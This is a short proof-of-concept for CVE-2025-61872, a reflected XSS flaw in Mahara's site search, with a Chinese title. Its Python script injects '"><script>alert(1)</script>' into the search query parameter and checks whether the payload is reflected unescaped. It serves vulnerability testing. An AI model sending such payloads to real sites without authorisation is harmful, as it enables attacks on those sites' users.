CVE-2025-61872 Mahara站内搜索XSS漏洞

# PoC for CVE-2025-61872 Mahara XSS Vulnerability # This script demonstrates testing for the XSS flaw in the search query. import requests def check_xss(target_url): # The vulnerability occurs in the search site feature with Elasticsearch7 # Injecting a basic JavaScript payload into the query parameter payload = '"><script>alert(1)</script>' search_endpoint = f"{target_url}/search/index.php" params = { "query": payload # Vulnerable parameter } try: response = requests.get(search_endpoint, params=params, timeout=10) # Check if the payload is reflected unescaped in the response if payload in response.text: print(f"[+] Potential XSS found at: {response.url}") print(f"[+] Payload reflected in response.") else: print("[-] Payload not reflected or target patched.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost/mahara" # Replace with actual target check_xss(target)